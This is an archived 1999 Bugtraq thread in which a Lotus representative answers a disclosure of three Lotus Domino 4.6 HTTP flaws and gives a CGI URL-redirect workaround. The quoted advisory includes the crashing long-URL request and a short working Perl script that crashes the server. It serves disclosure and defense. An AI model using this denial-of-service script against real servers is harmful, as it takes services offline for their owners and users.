Bugtraq recently contained a description and discussion of 3 problems with the Lotus Domino Server. The original posting is appended below. The first one concerns overly verbose error messages that may provide information that could be used in a topology attack against Lotus Domino. In this situation, Lotus Domino is working as designed, but Lotus will consider changing the behavior of the product in a future release. The second problem is that HTTP port security options are not applied to the cgi-bin directory. This too works as designed in the R4.6 product and features were added to address this in R5. We recommend upgrading to R5 if you want to protect files in the cgi-bin directory. The third posting tells how to exploit a bug in the Domino server to crash it : this is clearly the most serious problem. Until Lotus can deliver fixes in a new release of Lotus Domino, Lotus recommends the workaround listed below (previously circulated on Bugtraq and found at http://www.support.lotus.com/sims2.nsf/0/6ecb87e6e6820b008525659f0080d40c?Op enDocument . Please be aware that this workaround was originally written to address a different problem, but will also defend against this new attack) Finally, regarding the author's repeated attempts to make Lotus aware of the problem by email to Securityat_private, the address directed mail to an account unrelated to software security problems and had not been noticed, but an effort will be made to monitor that address in the future. Thanks, Kevin Lynch Lotus Development Recommended Workarounds for Buffer Overflow Denial of Service Attack Against Lotus Domino Server The workaround is to create a URL redirect in the DOMCFG.NSF database that redirects any anomalous CGI requests to another URL. Since any non-existent CGI calls can cause this error, the following workaround is suggested. * If the customer does not require the use of any CGI's, then the entire /cgi-bin directory can be redirected to another URL (a Notes database, or html file). If any "/cgi-bin" requests are made, they will be directed to this URL and are not processed as CGI. * If the customer does require the use of CGI's the following setup will be required: 1) In the HTTP section of the Server Document, change the "CGI URL path" field to a different URL path. This does not require a change for the "CGI directory" field, such that the location on the hard drive for CGI's will remain the same. Only the URL which invokes CGI's will be altered. Example: The default CGI URL path is "/cgi-bin"; change this to "/scripts/cgi-bin". Now, whenever a /cgi-bin request is made, it is recognized as a URL instead of a CGI. 2) Create a URL Redirect document in the DOMCFG.NSF for each specific CGI that resides on the server. Specify the incoming URL path as "/cgi-bin", and the redirection URL as "/scripts/cgi-bin". Example: A customer has a CGI named "Xrun.cgi" in the domino/cgi-bin directory. Regularly, any requests to execute the CGI would come in as" http://hostname/cgi-bin/Xrun.cgi". This URL request is redirected to " http://hostname/scripts/cgi-bin/Xrun.cgi", where Domino will recognize it as a CGI, and run the script. In this case, the "/cgi-bin" URL itself is not recognized as a CGI request. It is only the redirection to "/scripts/cgi-bin" that will cause the Domino server to process it as a CGI script At this point, any generic requests for CGI's using "/cgi-bin" will not be recognized as CGI. Instead, the Web server will search for a comparable filename, returning "Error 404- file not found" since it is not capable of finding such a URL. The customer can now customize the error message to indicate that the requested CGI does not reside on the server. The above configuration is designed to accomplish the following: * Since the current Domino 4.6 Server code may crash any time a non-existent CGI is requested, the potential to run non-existent CGI's must be removed. By this configuration anomalous CGI requests are not recognized as CGI scripts, and Domino will not attempt to run them. * The CGI URL path is altered so that only CGI's using the URL "/scripts/cgi-bin..." will be recognized as CGI's. The administrator then creates a URL redirect document for each present CGI that redirects any valid URL requests using the syntax "/cgi-bin..." to the URL "/scripts/cgi-bin...". The Domino Server will then invoke the CGI script. This will avoid the Domino Server attempting to run a CGI that is not present on the server, running only valid CGI's. * Since the URL redirect does not display the redirected URL to the browser, end users need not ever know the true URL path to invoke CGI scripts. This further protects the site from unscrupulous web clients deliberately attempting to crash the server by requesting to invoke a non-existent URL. Such a user would need to know the exact URL path to issue for the server to recognize it is a request for a CGI, and would have no way to determine this URL under a secure site. ----- Original Message ----- From: "Alain Thivillon" <Alain.Thivillonat_private> To: <BUGTRAQat_private> Sent: Tuesday, December 21, 1999 05:42 AM Subject: serious Lotus Domino HTTP denial of service Greetings, Lotus Domino HTTP server can be used as a traditional Web server, with static html documents and cgi-bin scripts handling. These features are turned on by default, and use /cgi-bin virtual path, mapped to <NOTESDATA>\domino\cgi-bin directory. When doing audit of these functions, we found three vulnerabilites in handling of cgi requests: 1. Domino server exposes configuration of local filesystem: When requesting http://server/cgi-bin/blabla, HTTP response is Error 500 Bad script request -- no variation of c:/notes/data/domino/cgi-bin/blabla' is executable This can be used to obtain OS and installation details. 2. Turning off anonymous access in server document of Notes Name & Adress Book as no effect for cgi-bin directory : anonymous access is still permitted. The same applies to "SSL redirection of entire server" : cgi-bin can still be accessed via HTTP port. 3. Now the worst ... Handling of response to bad requests (see 1) is vulnerable to a buffer overflow : by sending a large URL relative to cgi-bin, HTTP task crashes immediatly, and does not service requests anymore (including standard Notes database access by HTTP). If Domino is launched as a NT service, service will not stop completly, you need to kill remaining processes (using kill.exe in Reskit) or reboot Windows NT. We notice that all requests does not crash server, but sending 'GET /cgi-bin/... (800 .) aaaa (4000 a) HTTP/1.0' kills nHTTP.exe every time. We were able to reproduce this on all 4.6.X series, including 4.6.6b, wich seems the last version accessible on www.notes.net. I was not able to overwrite return address (just DS), but i made very few tests, and buffer overflow is maybe exploitable to execute arbitrary code. I didn't test Denial of service on Unix versions, but problems 1. and 2. are present. The same remark applies to Domino 5.x. We send several emails to securityat_private in the past 10 days, we receive no answers nor bounces. Demonstration script using Perl LWP module is given below. A nessus plugin will be available in a few hours on http://www.nessus.org/, thanks to Renaud Deraison. Workaround: If you don't use cgi-bin on your Domino server, change cgi-bin virtual directory in server document to something impossible to guess. Leaving field empty has no effect. We didn't find an definitive way to stop cgi-bin handling. Demonstration script: #!/usr/bin/perl -w # This will crash Lotus Domino Server (tested on 4.6.4,4.6.5,4.6.6 and # 4.6.6b). # (c) Alain Thivillon, Stephane Aubert and Herve Schauer Consultants 1999 use LWP::UserAgent; $ua = new LWP::UserAgent; $ua->agent("a"); $target='Insertyourtargetnamehere'; $url="http://".$target."/cgi-bin/".'.'x800; $url.='a'x4000; my $req = new HTTP::Request GET => $url; my $res = $ua->request($req); if ($res->is_success) { print $res->content; } else { print "Well done, Joe\n"; } -- Alain Thivillon -+- Alain.Thivillonat_private -+- Hervé Schauer Consultants The world is ending in 10 days, 12 hours, 45 min, 55 sec : save your buffers
This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 15:23:41 PDT